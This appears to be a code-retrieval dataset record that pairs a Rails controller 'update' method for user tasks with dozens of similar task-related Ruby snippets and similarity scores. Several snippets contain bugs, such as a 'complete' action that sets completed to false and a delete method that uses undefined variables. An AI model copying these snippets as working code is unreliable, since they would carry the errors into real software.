"def show\n @task = Task.find(params[:id])\n @exercises = (@task.visible_to_admin_only && !current_user.master?) ? [] : @task.exercises\n\n @exercise = if @task.finished?(current_user)\n Exercise.where(:user_id => current_user.id, :task_id => @task.id).first\n else\n Exercise.new(:date => Date.current, :task_id => @task.id, :user_id => current_user.id)\n end\n end",
"def actions\n html_str = ''\n html_str << context.link_to(\n \"Edit\",\n edit_company_admin_task_path(object, network: object.company.domain),\n class: \"button button-chromeless\"\n )\n disable_or_delete = object.has_completed_tasks? ? 'Disable' : 'Delete'\n html_str << context.link_to(\n object.enabled? ? disable_or_delete : 'Activate',\n company_admin_task_path(object, network: object.company.domain),\n method: :delete,\n remote: true,\n data: { confirm: \"Are you sure?\", taskId: object.id },\n class: \"task-status-toggle button button-chromeless danger\"\n )\n html_str\n end",
"def show\n @page_title = \"Task List\"\n @task_list = TaskList.find(params[:id])\n @tasks = Task.find(:all,\n :conditions => [\"task_list_id = ?\",@task_list.id]\n ) \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task_list }\n end\n end",
"def show\n @task = current_user.tasks.find params[:id] \n\n end",
"def edit_tasks(list_of_hash_tasks, *args)\n list_of_hash_tasks = [list_of_hash_tasks,] if list_of_hash_tasks.is_a Hash\n list_of_hash_tasks.each do |task|\n raise ArgumentError, 'An id must be specified when a task is edited' if unless task.has_key? :id or task.has_key 'id'\n end\n edit(\"tasks\", Babar::Task, list_of_hash_tasks, 'tasks', false, *args)\n end\n\n \n #Given a list of Task ids, delete all the corresponding tasks from the Toodledo API \n def delete_tasks(list_of_task_ids, *args)\n #TODO modify this to accept Task objects as well\n #TODO check that this will work because array is of IDs, not hashes\n modify(endpoint, 'delete', desired_class, array_of_hashes, array_field_name, delete_first_result, *args)\n end\n\n\n #Implement add/edit/delete methods for each of the following Toodledo User-defined lists: Context, Folder, Goal, Location\n %w(context folder goal location).each do |list|\n current_class = Babar::const_get(list.capitalize)\n define_method(\"get_#{list}s\") { get(\"#{list}s\", param_map = {}, desired_class = current_class, delete_first_result = false) }\n %w(add edit delete).each do |mod_endp|\n #Hash_goal is a Hash representation of the (desired) list AFTER it is added/edited/deleted\n #TODO in the case of deletion, make sure an ID suffices\n define_method(\"#{mod_endp}_#{list}\") { |hash_goal| modify_single( endpoint = \"#{list}s\", action = mod_endp, param_map = hash_goal, desired_class = current_class, delete_first_result = false)}\n end\n end\n\n end",
"def show\n @todo_task = TodoTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @todo_task }\n end\n end",
"def show\n @to_do = ToDo.find(params[:id])\n end",
"def show\n @task_doer = TaskDoer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_doer }\n end\n end",
"def show\n @comment = @task.comments.new\n end",
"def edit\n get_current_user\n if @user.tasks.include?(task) #If the task they want to edit belongs to them\n task\n else #If the task they want to edit does NOT belong to them\n flash.alert = \"You can only edit your own tasks.\"\n redirect_to root_path\n end\n end",
"def show\n\t\t@task = Task.friendly.find(params[:id])\n\t\t@users = User.all\n\t\t@messages = Message.all\n\t\t# @task = Task.new\n\tend",
"def show\n @comments = Comment.where(task_id: @task.id).order(id: :desc)\n @comment = Comment.new\n end",
"def show\n @delay_task = DelayTask.find(params[:id])\n end",
"def reviewer_tasks\n tasks.find(:all, :conditions => { :context => 'reviewers', :show_for_context_object_tasks => true })\n end",
"def show\n # @task = Task.find(params[:id])\n # substituido pela funcao no before_action\n end",
"def display_tasks\n # get the array from the repo\n tasks = @repo.all\n # display all the tasks\n @view.display_tasks(tasks)\n end",
"def show\n @task = Task.find_by(id: params[:id])\n redirect_to tasks_path if @task.nil?\n end",
"def show\n @task = Task.find(params[:id])\n @subtasks = @task.children\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end",
"def show\n @patron = Patron.find(params[:id])\n if !current_user.admin?\n @tasks = Task.where(\"completed = ?\", false).where(\"patron_id = ?\", @patron.id).order(sort_column + \" \" + sort_direction)\n else\n @tasks = Task.where(\"completed = ?\", false).where(\"patron_id = ?\", @patron.id).order(sort_column + \" \" + sort_direction)\n end\n \n render :layout => 'patron_layout'\n\n end",
"def show\n @tasks = @order.tasks\n end",
"def show\n @task_items = @task_list.items.active\n end",
"def show\n @todo = Todo.find(params[:id])\n end",
"def show\n @todo = Todo.find(params[:id])\n end",
"def show\n @todo = Todo.find(params[:id])\n end",
"def new\n @task = Task.new(:task_list => TaskList.find(params[:task_list_id]))\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end",
"def show\n @task_list = TaskList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_list }\n end\n end",
"def interviewer_tasks\n tasks.find(:all, :conditions => { :context => 'interviewers', :show_for_context_object_tasks => true })\n end",
"def show\n success_task_show\n end",
"def show\n @task = Task.find(params[:id])\n @team_members = Person.task_assignees(@task.id)\n @users = Person.not_assignees(@task.id)\n @comments = Comment.find_by_type(@task)\n @comment = Comment.new\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n end",
"def edit\n @project = @task.project\n respond_to do |format|\n format.html # edit.html.erb\n end\n end",
"def show\n @readonly_task = ReadonlyTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @readonly_task }\n end\n end",
"def show\r\n @task = @current_user.tasks.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @task }\r\n end\r\n end",
"def show\n @task = Task.find(params[:id])\n @subtasks = @task.statuses.order(:created_at).reverse\n @subtask = Status.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n end",
"def show\n @todolist = Todolist.find(params[:id])\n \n edit\n\n respond_to do |format|\n format.js\n end\n end",
"def show\n authorize! :read, Task\n @task = Task.find(params[:id])\n @comment = Comment.new(:task_id => @task.id, :comment => 'Enter a new comment')\n \n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def show\n @client = Client.find(params[:cl_id])\n @task = Task.find(params[:id])\n if @task.type_t =~ /^wifi/\n @task.update_attribute(:status, \"run\") if @task.status==\"new\" && dt_check_permit(@staff_login,\"update\",@task.type_t,@client)\n else\n @task.update_attribute(:status, \"run\") if @task.status==\"new\" && dd_check_permit(@staff_login,\"update\",@task.type_t,@client)\n end\n @erpfiles = Erpfile.where(idtask: @task.id)\n @erpfile = Erpfile.new\n @comment = Comment.new\n @comments = Comment.where(idtask: Task.where(cl_id: @task.cl_id, point_group: @task.point_group, zapros_gid: @task.zapros_gid).collect(&:idtask)).order(\"time desc\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n end",
"def show\n @task = current_user.lists.find(params[:list_id]).tasks.find(params[:id])\n\n respond_to do |format|\n format.js\n end\n end",
"def list_tasks\n # ASK REPO for the tasks\n tasks = @task_repository.all\n # ASK VIEW to display them\n @tasks_view.display(tasks)\n end",
"def show\n @default_task = DefaultTask.find(params[:id])\n end",
"def show\n @project_todo = @project.project_todos.find(params[:id])\n end",
"def edit\n @todo = TodoItem.find(params[:id]) # this wants to call an \"update\" method. see bundle exec rails routes to see why\n # default action: render :show - app/views/pages/show.html.erb\n end",
"def set_todo_task\n @todo_task = Todo::Task.find(params[:id])\n end",
"def show\n @task_completion = TaskCompletion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_completion }\n end\n end",
"def desc(*args)\n Rake.application.DescribeTask(*args)\n end",
"def edit\n @todo = Todo.find(params[:id])\n\n redirect_to todos_path\n end",
"def update\n\n if request.referer.present? && request.referer.include?('edit')\n @task.update(title: params[:patch][:title], description: params[:patch][:description])\n redirect_to action: \"show\", id: params[:id]\n else\n @task.update(completed_at: DateTime.now)\n\n if request.referer.present? && request.referer.include?('show')\n redirect_to action: \"show\", id: params[:id]\n else\n redirect_to action: \"index\"\n end\n end\n\n end",
"def show\n @task = Task.find(params[:id])\n restrict_access(\"tasks\") if @task.firm_id != @firm.id \n end",
"def show\n @tasks=@list.tasks.where.not(\"estado = ?\",\"expirada\").order(:prioridad)\n end",
"def show\n \n @task = @project.tasks.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n end",
"def complete\n task = Task.find(params[:id])\n task.completed = false\n unless task.save\n flash[:error] = \"Unable to mark task as completed\"\n end\n @tasks = Task.open_tasks\n render :partial => \"task_list\", :layout => false\n end",
"def show\n @list_to_do = ListToDo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list_to_do }\n end\n end",
"def show\n # Restrict access\n check_if_admin unless @task.user_id == @person.id || @task.state == 'open'\n end",
"def show\n set_task_with_category_and_tags\n add_breadcrumb @task.title\n end",
"def show\n redirect_to task_path(@submission.task)\n end",
"def show\n @task = current_user.tasks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end",
"def show # Show tasks method\n all_tasks.map.with_index { |l, i| \"(#{i.next}): #{l}\"} # Show all tasks array in numerical order and whether a task is completed\n end",
"def task_help(shell, task_name)\n meth = normalize_task_name(task_name)\n task = all_tasks[meth]\n handle_no_task_error(meth) unless task\n\n shell.say \"Usage:\"\n shell.say \" #{banner(task)}\"\n shell.say\n class_options_help(shell, nil => task.options.map { |_, o| o })\n if task.long_description\n shell.say \"Description:\"\n shell.print_wrapped(task.long_description, :ident => 2)\n else\n shell.say task.description\n end\n end",
"def show\n respond_with(@task)\n end",
"def show\n authorize! :read, @task\n end",
"def show\n @task = Task.new\n @member = @dream.members.find_by(user_id: current_user.id)\n @users = @dream.users\n @comments = @dream.comments.order('created_at DESC').joins(:user)\n end",
"def show\n @id = params[:id].to_i\n @task = Task.find_by(id: @id)\n #inherited from ApplicationController\n end",
"def task\n @task = MailTasks::Task.find( params[:id] )\n end",
"def show\n @task = Task.find(params[:id])\n render :show, :layout => 'sidebar'\n end",
"def list_tasks\n tasks = @repository.all\n @view.display_tasks(tasks)\n end",
"def set_exercise_task\n @exercise_task = ExerciseTask.find(params[:id])\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task_list }\n end\n end",
"def show\n @subtask = Subtask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subtask }\n end\n end",
"def show\n @task = Task[params[:id]]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n end",
"def remove_desc_for_task( names )\n Array(names).each do |task_name|\n task = Rake.application.tasks.find {|t| t.name == task_name}\n next if task.nil?\n task.instance_variable_set :@comment, nil\n end\n end",
"def set_task\n @task = Task.friendly.find(params[:id])\n end",
"def show\n self.init\n authorize! :read, @list\n authorize! :read, @task\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n end"
] |
[
"0.69226146",
"0.66530114",
"0.6592081",
"0.6468582",
"0.64632106",
"0.64189357",
"0.64073735",
"0.6284563",
"0.6252969",
"0.6248483",
"0.6228838",
"0.62094325",
"0.6201855",
"0.61999726",
"0.61897767",
"0.61722016",
"0.61302334",
"0.61302334",
"0.61302334",
"0.61293143",
"0.6121258",
"0.6117417",
"0.6065424",
"0.6052159",
"0.6050034",
"0.6015827",
"0.6005633",
"0.5980025",
"0.5944578",
"0.5940165",
"0.593088",
"0.59280163",
"0.59248847",
"0.5916496",
"0.59098643",
"0.5902275",
"0.58737105",
"0.58584136",
"0.5855355",
"0.5852962",
"0.5829597",
"0.58259934",
"0.58194",
"0.5813927",
"0.57968664",
"0.5780973",
"0.5763956",
"0.57535607",
"0.5753257",
"0.57510996",
"0.57485825",
"0.57485825",
"0.57485825",
"0.5747213",
"0.57296985",
"0.5703021",
"0.5699997",
"0.5689496",
"0.56714547",
"0.5668877",
"0.56609476",
"0.56578267",
"0.5657099",
"0.56547755",
"0.56528103",
"0.5651854",
"0.56444645",
"0.5644084",
"0.56418484",
"0.5632763",
"0.5630934",
"0.56308454",
"0.563056",
"0.5630283",
"0.5623271",
"0.56197745",
"0.5618458",
"0.56164587",
"0.5610589",
"0.56086683",
"0.56050915",
"0.56001925",
"0.5599006",
"0.55976707",
"0.5589457",
"0.55893916",
"0.5577099",
"0.5574089",
"0.5573696",
"0.5565647",
"0.5563973",
"0.5550298",
"0.55502486",
"0.55460066",
"0.5545437",
"0.5545257",
"0.55424124",
"0.5541886",
"0.5541424",
"0.5540943"
] |
0.60218304
|
25
|
Below code is used to update the task.
|
def update_task
authorize!(:update_task,current_user)unless current_user.role?(:secretary)
data=params
@note_priority =(data[:com_notes_entries][:note_priority] == 0 ||data[:com_notes_entries][:note_priority].eql?('0'))? 1 : 2
@task = UserTask.find(data[:id].to_i)
@com_notes_entries = Communication.find(data[:task][:note_id].to_i)
if data[:commit].eql?("Save & Exit")
respond_to do |format|
# Below mention transaction block basically revert Task entry and even revert the Communication to update.
# Added by Ajay Arsud Date:09 Sept 2010
UserTask.transaction do
if @task.update_attributes(data[:task].merge!(:assigned_to_user_id => @current_user.id))
@com_notes_entries.update_attributes(data[:com_notes_entries].merge!(:note_priority=>@note_priority))
flash[:notice] = "#{t(:text_task)} " "#{t(:flash_was_successful)} " "#{t(:text_saved)}"
format.html {redirect_to physical_liviaservices_livia_secretaries_url}
else
flash[:error] = t(:flash_task_error)
format.html {redirect_to physical_liviaservices_livia_secretaries_url}
end
end
end
elsif data[:commit].eql?("Assign To")
# Below mention transaction block basically revert Task entry and even revert the Communication to update.
# Added by Ajay Arsud Date:09 Sept 2010
UserTask.transaction do
@task.update_attributes(data[:task])
@task.update_attributes(:priority => @note_priority,:assigned_to_user_id => data[:task][:assigned_to_user_id])
respond_to do |format|
if @task.save
data[:com_notes_entries][:note_priority] = @note_priority
@com_notes_entries.update_attributes(data[:com_notes_entries])
flash[:notice] = "#{t(:text_task)} " "#{t(:flash_was_successful)} " "#{t(:text_assigned)}"
format.html { redirect_to physical_liviaservices_livia_secretaries_url }
else
flash[:error] = t(:flash_task_type)
format.html { redirect_to physical_liviaservices_livia_secretaries_url }
end
end
end
elsif data[:commit].eql?("Complete Task")
# Below mention transaction block basically revert Task entry and even revert the Communication to update.
# Added by Ajay Arsud Date:09 Sept 2010
UserTask.transaction do
@task.update_attributes(data[:task].merge!(:status => 'complete',:completed_at =>Time.now,:completed_by_user_id => @current_user.id,:assigned_to_user_id => @current_user.id))
respond_to do |format|
if @task.save
if data[:com_notes_entries][:note_priority] == 0 ||data[:com_notes_entries][:note_priority].eql?('0')
@note_priority = 1
else
@note_priority = 2
end
@com_notes_entries.update_attributes(data[:com_notes_entries].merge!(:note_priority=>@note_priority))
flash[:notice] = "#{t(:text_task)} " "#{t(:flash_was_successful)} " "#{t(:text_completed)}"
format.html { redirect_to physical_liviaservices_livia_secretaries_url }
else
flash[:error] = t(:flash_task_type)
format.html { redirect_to physical_liviaservices_livia_secretaries_url }
end
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update \n\t logger.debug \"Params --------------------------------------- #{params}\"\n\n\t logger.debug \"task params --------------------------------------#{task_params}\"\n\t format_task_attributes(task_params)\n\t \n\t logger.debug \"-------------------------------------------------------------\"\n\t logger.debug \"Updated Params #{@updated_params}\"\n\t @updated_params[:id]=params[:id]\n\t @task = Task.find(@updated_params[:id])\n\t logger.debug \"#########################\"\n\t logger.debug \"Task found \"\n\t \n\t @task.assign_attributes(@updated_params)\n\t authorize! :update, @task\n\t @task.is_completed=false\n\t save_task\n\tend",
"def update\n @task.update(task_params)\n end",
"def update task\n now = Time.now.to_i\n wait = task.wait.nil? ? now : task.wait\n wake = now + wait\n tasks = @db[:tasks]\n r = tasks.where(:id => task.id).update :changed => now,\n :status => task.getStatus,\n :wake => wake,\n :data => Marshal::dump(task)\n end",
"def update(options = {})\n self.merge!(Vermonster::Client.connection.put(\"tasks/#{self[\"id\"]}\", \"{\\\"task\\\": #{options.to_json}}\").body)\n end",
"def update\n @task = Task.find(params[:id])\n @task.update(task_params)\n #@task.save\n redirect_to tasks_path(@task)\n end",
"def update(task_number, task) # Update task based on task number\n all_tasks[task_number -1] = task # Updates task\n end",
"def update!(**args)\n @tasks = args[:tasks] if args.key?(:tasks)\n end",
"def update\n task = @task_list.tasks.find(params[:id])\n task.update_attributes(task_params)\n render nothing: true\n end",
"def update\n if @task.update(task_params)\n success_task_show\n else\n error_task_save\n end\n end",
"def update\n command = Tasks::Update.call(@task, params: task_params)\n respond_to do |format|\n if command.success?\n format.html { redirect_to @task, notice: \"Task was successfully updated.\" }\n else\n format.html { render :edit, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @task = Task.find(params[:id])\n @task.update(task_params)\n\n redirect_to tasks_path(@task)\n end",
"def update\n @task.update(task_params)\n redirect_to task_path(@task)\n end",
"def update\n set_task\n respond_to do |format|\n if @task.update!(task_params)\n format.html\n format.json { respond_with_bip(@task) }\n end\n end\n end",
"def update_task(id, pid, priority, description, status)\n x = []\n data.each_pair do|k, v|\n x << \"#{k} = #{v}\"\n end\n\n str = x.join(\",\")\n\n command = @db.exec(%Q[\n UPDATE tasks\n SET #{str}\n WHERE id = #{data[\"id\"]};\n ])\n TM::Task.new(command)\n end",
"def update(options: {}, **data)\n\n refresh_with(parse(client.put(\"/tasks/#{gid}\", body: data, options: options)).first)\n end",
"def update\n @task = Task.find(params[:id])\n oldtaskname = @task.name\n if @task\n if request.referrer && URI(request.referrer).path == edit_task_path(@task) && (task_params[:name] == nil|| task_params[:name] == \"\")\n flash[:error] = \"You must enter a name for a task\"\n redirect_to edit_task_path(@task.id)\n else\n oldcomplete = @task.complete\n oldassignee = @task.assignedto\n users = Project.find_by_id(@task.projectid).allshares.split(\",\")\n found = false\n if @task.assignedto == nil\n @task.assignedto = \"None\"\n end\n if task_params[:assignedto] == nil || task_params[:assignedto] == \"\"\n task_params[:assignedto] = @task.assignedto\n end\n if !(users.include? task_params[:assignedto])\n task_params[:assignedto] = @task.assignedto\n end\n # if task_params[:label] == nil || task_params[:label] == \"\"\n # @task.label = 0\n # end\n @task.update(task_params)\n @task.save!\n if @task.assignedto != oldassignee\n if @task.assignedto != \"None\"\n assignemail = \"\"\n users.each do |user|\n us = User.find_by_id(user)\n if us\n if (us.firstname + \" \" + us.lastname) == @task.assignedto\n if us.noemail != true\n assignemail = us.name\n end\n end\n end\n end\n send_assignment(@task, assignemail)\n\n end\n end\n\n if @task.complete == true && @task.complete != oldcomplete\n mark_complete(@task)\n elsif @task.complete == false\n mark_incomplete(@task)\n end\n\n respond_to do |format|\n if @task\n if oldcomplete == false && @task.complete == true\n @task.datecomplete = @task.updated_at\n elsif oldcomplete == true && @task.complete == false\n @task.datecomplete = nil\n end\n @task.save!\n flash[:alert] = 'Task was successfully updated.'\n if request.referrer && URI(request.referrer).path != edit_task_path(@task)\n format.html { redirect_to request.referrer }\n format.mobile { redirect_to request.referrer, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n elsif request.referrer && URI(request.referrer).path == edit_task_path(@task)\n format.html { redirect_to project_path(@task.projectid), notice: 'Task was successfully updated.' }\n format.mobile { redirect_to project_path(@task.projectid), notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to task_path(@task.id), notice: 'Task was successfully updated.' }\n format.mobile { redirect_to task_path(@task.id), notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n end\n else\n format.html { render action: 'edit' }\n format.mobile { render action: 'edit' }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end\n else\n flash[:error] = \"You must enter a name for a task\"\n redirect_to edit_task_path(@task.id)\n end\n end",
"def update\n # before #helper save task before changes for UPDATE\n # #@unchanged_task = @task\n # if @task.update(task_params)\n # after\n # #make_diff(@unchanged_task, @task)\n # end\n \n respond_to do |format|\n before #helper save task before changes for UPDATE\n if @task.update(task_params)\n # byebug\n after\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n data = params\n data[:lawyer_email] = \"mkd@ddiplaw.com\" if data[:lawyer_email].eql?(\"mdickinson@mdick.liviaservices.com\")\n data.delete(:action)\n data.delete(:controller)\n data[:start_date] = data[:start_date].to_date if data[:start_date]\n data[:end_date] = data[:end_date].to_date if data[:end_date]\n attributes = data\n @task = MatterTask.find_by_zimbra_task_id_and_lawyer_email_and_category(attributes[:zimbra_task_id], attributes[:lawyer_email], \"todo\")\n if @task\n attributes[:zimbra_task_status] = true\n # if the task is completed at zimbra mark it's completion in the portal also -- Mandeep (21/04/10).\n if attributes[:progress].eql?(\"COMP\") && attributes[:progress_percentage].eql?(\"100\")\n attributes.merge!({:completed => true, :completed_at => Time.zone.now.to_date})\n end\n # if the task is changed from completed to other, need to change it in portal -- Ketki (23/09/2010).\n if @task.completed and !attributes[:progress].eql?(\"COMP\")\n attributes.merge!({:completed => false, :completed_at => nil}) \n end\n @task.progress = attributes[:progress]\n @task.progress_percentage = attributes[:progress_percentage]\n data[:name] = CGI.unescape(data[:name])\n matter_name = Matter.find(@task.matter_id).name\n data[:name].slice!(\"<#{matter_name}>\")\n if(data[:description] != \"null\")\n data[:description] =CGI.unescape(data[:description])\n end\n if @task.update_attributes(attributes)\n render :xml=>{:success => \"Task is sucessfully updated\"} \n else\n render :xml=>{:error => @task.errors}\n end\n else\n @task = ZimbraActivity.find_by_zimbra_task_id(data[:zimbra_task_id])\n if @task\n data = ZimbraActivity.zimbra_task_params(data)\n data[:name] = CGI.unescape(data[:name])\n if @task.update_attributes(data)\n render :xml=>{:success => \"Task is sucessfully created\"}\n else\n render :xml=>{:error => @task.errors}\n end\n else\n render :xml => \"Hash not found\"\n end\n end\n rescue Exception=>e\n render :xml=>{:error=>e}\n end\n end",
"def update\n flash[:notice] = \"Task was successfully updated.\" if task.save\n respond_with(task)\n end",
"def update\n if @task.update(task_param)\n render json: get_task_hash(@task)\n else\n render json: @task.errors.full_messages\n end\n end",
"def update\n update_init(@task)\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def update\n if @task.update(task_params)\n return render_success_task_save\n else\n return render_error_save @task\n end\n end",
"def update\n\n if get_case\n @task = @case.tasks.create(task_params)\n path_tasks = case_tasks_path\n else\n path_tasks = tasks_path\n end\n respond_to do |format|\n if @task.update(task_params)\n track_activity @task\n format.html { redirect_to path_tasks, notice: 'Task successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @task.update(task_params)\n flash.now.alert = \"Task was updated\"\n render json: full_task(@task)\n end\n end",
"def update\n @task.update(task_params) ? respond_with(@task) : false\n end",
"def update\n Task.associate_task(params:params, task: @task)\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @task = Task.find_by(id: params[:id])\n if @task.update(task_params)\n render json: { message: I18n.t('task.update.success') }, status: 200\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end",
"def update\n @task = Task.find_by(id: params[:id])\n if @task.nil?\n redirect_to tasks_path\n elsif @task.update(\n name: params[:task][:name],\n description: params[:task][:description],\n completed_at: params[:task][:completed_at]\n )\n redirect_to task_path(@task.id)\n else\n render :edit\n end\n end",
"def update\n @mytask = Task.find(params[:id])\n if @mytask.update({title: params[:task][:title], description: params[:task][:description], completed_at: params[:task][:completed_at], status: params[:task][:status]})\n # redirect_to(@mytask)}\n redirect_to tasks_path\n else\n render \"edit\"\n end\n end",
"def update_task(id, title, description)\n task = Task.find(id)\n task.title = title\n task.description = description\n task.save\nend",
"def update\n if @task.update(task_params)\n render :show, status: :ok\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end",
"def update\n @task = @project.tasks.find(params[:id])\n #@task = @project.tasks.update!(task_params)\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to project_url(@task), notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @task.update(task_params)\n render :show, status: :ok, location: @task\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end",
"def update!(**args)\n @runnable = args[:runnable] if args.key?(:runnable)\n @task_id = args[:task_id] if args.key?(:task_id)\n @task_status = args[:task_status] if args.key?(:task_status)\n end",
"def update\n if params[:active]\n update_status\n elsif params[:task]\n update_completion\n else\n raise \"Don't know what you want\"\n end\n end",
"def update\n @task = Task.find(params[:id])\n # We need to use load then save instead of update_attributes with active resource models\n @task.load(params[:task])\n \n logger.info \"params[:task][:completed]: #{params[:task][:completed]}\"\n @task.completed_at = Time.now if params[:task][:completed]\n logger.info \"@task.completed?: #{@task.completed?}\"\n\n respond_to do |format|\n if @task.save\n \tcalculate_totals\n \t#flash[:notice] = 'Task was successfully updated.'\n format.js # run the update.js.rjs template\n format.xml { head :ok }\n else\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n previous_completed = @task.completed\n previous_deadline = @task.deadline\n previous_owner = @task.user\n new_owner = User.find_by(id: params[:task][:user_id])\n task_owner = @task.user\n project = @task.milestone.project\n success = @task.milestone.success\n\n #you can STILL edit tasks when the project becomes a success\n if project.present?\n project_owner = @task.milestone.project.user\n else\n success_owner = @task.milestone.success.leader\n end\n\n if !params[:task][:deadline].nil?\n new_deadline = params[:task][:deadline]\n if new_deadline != previous_deadline && current_user != task_owner\n task_owner.notify(\"alert\", \"#{view_context.link_to current_user.full_name, current_user} changed the due date of\n #{view_context.link_to @task.description, @task.milestone.project} to #{new_deadline}\")\n end\n end\n\n #Notify a task was completed\n if params[:task][:completed] == \"true\" && current_user != task_owner\n task_owner.notify(\"alert\", \"Your task '#{@task.description}' in #{view_context.link_to project.title, project} was completed by #{view_context.link_to current_user.full_name, current_user}\")\n end\n\n #notifies user they have a new task\n if !new_owner.nil? && new_owner != current_user && new_owner != task_owner\n if @task.milestone.project.present?\n new_owner.notify(\"alert\", \"You were assigned to a task in the project #{view_context.link_to @task.milestone.project.title, project}\")\n else\n new_owner.notify(\"alert\", \"You were assigned to a task in the success #{view_context.link_to @task.milestone.success.title, success}\")\n end\n end\n\n modified_params = task_params.clone\n if modified_params[:completed] == \"true\"\n modified_params.merge!({completed_at: DateTime.now})\n next_task = Task.find_by_position_and_milestone_id((@task.position - 1), @task.milestone_id)\n if next_task.present?\n next_task.ball_is_in_your_court(@task) if next_task.user.present? && next_task.crucial == true\n end\n elsif modified_params[:completed] == \"false\"\n modified_params.merge!({completed_at: nil})\n end\n\n respond_to do |format|\n if @task.update_attributes(modified_params)\n @task.create_activities(previous_completed, previous_deadline, previous_owner, current_user)\n\n # during update, if there is 1 last task remaining already and someone is updating client's remaining incomplete task the project owner will be notified every time\n # user!=project_owner ensures that if the changes are made by the project_owner, client is not notified (since client can see it)\n if @task.milestone.tasks.where(completed: false).size==1 && (task_owner!=project_owner || task_owner!=project_owner) && params[:task][:completed]\n\n # if never_alerted (which should be a boolean that shows if there already was a notification from this task)\n if project.present?\n project_owner.notify(\"alert\", \"One task left until #{view_context.link_to @task.milestone.name, project} is completed!\")\n else\n success_owner.notify(\"alert\", \"One task left until #{view_context.link_to @task.milestone.name, success} is completed!\")\n end\n end\n\n # user id gets saved as 0 sometimes when being set as nil. this changes it back\n if @task.user_id == 0\n @task.update_attributes(user_id: nil)\n end\n\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n if project.present?\n format.html { redirect_to project, notice: 'Task was successfully updated.' }\n else\n format.html { redirect_to success, notice: 'Task was successfully updated.' }\n end\n format.json { respond_with_bip(@task) }\n else\n if project.present?\n format.html { redirect_to project, alert: @task.errors.full_messages.to_sentence }\n else\n format.html { redirect_to success, alert: @task.errors.full_messages.to_sentence }\n end\n format.json { respond_with_bip(@task) }\n end\n end\n end",
"def update\n @task.update(task_params)\n redirect_to tasks_path\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tbegin\n\t\t\t\tif @task.update(task_params)\n\t\t\t\t\tformat.html { redirect_to @task, notice: 'Task was successfully updated.' }\n\t\t\t\t\tformat.json { render json: @task, status: :ok }\n\t\t\t\telse\n\t\t\t\t\tformat.html { render :edit }\n\t\t\t\t\tformat.json { render json: @task.errors, status: :unprocessable_entity }\n\t\t\t\tend\n\t\t\trescue ActiveRecord::RecordInvalid => error\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: { \"error\": error.message }, status: :ok }\n\t\t\tend\n\t\tend\n\tend",
"def update\n \t@task = @project.tasks.find(params[:id])\n if @task.update_attributes(params[:task])\n redirect_to(project_tasks_path(@project))\n flash[:notice] = 'Task was successfully updated.'\n else\n render('edit')\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.json { render :show, status: :ok, location: @task }\n else\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
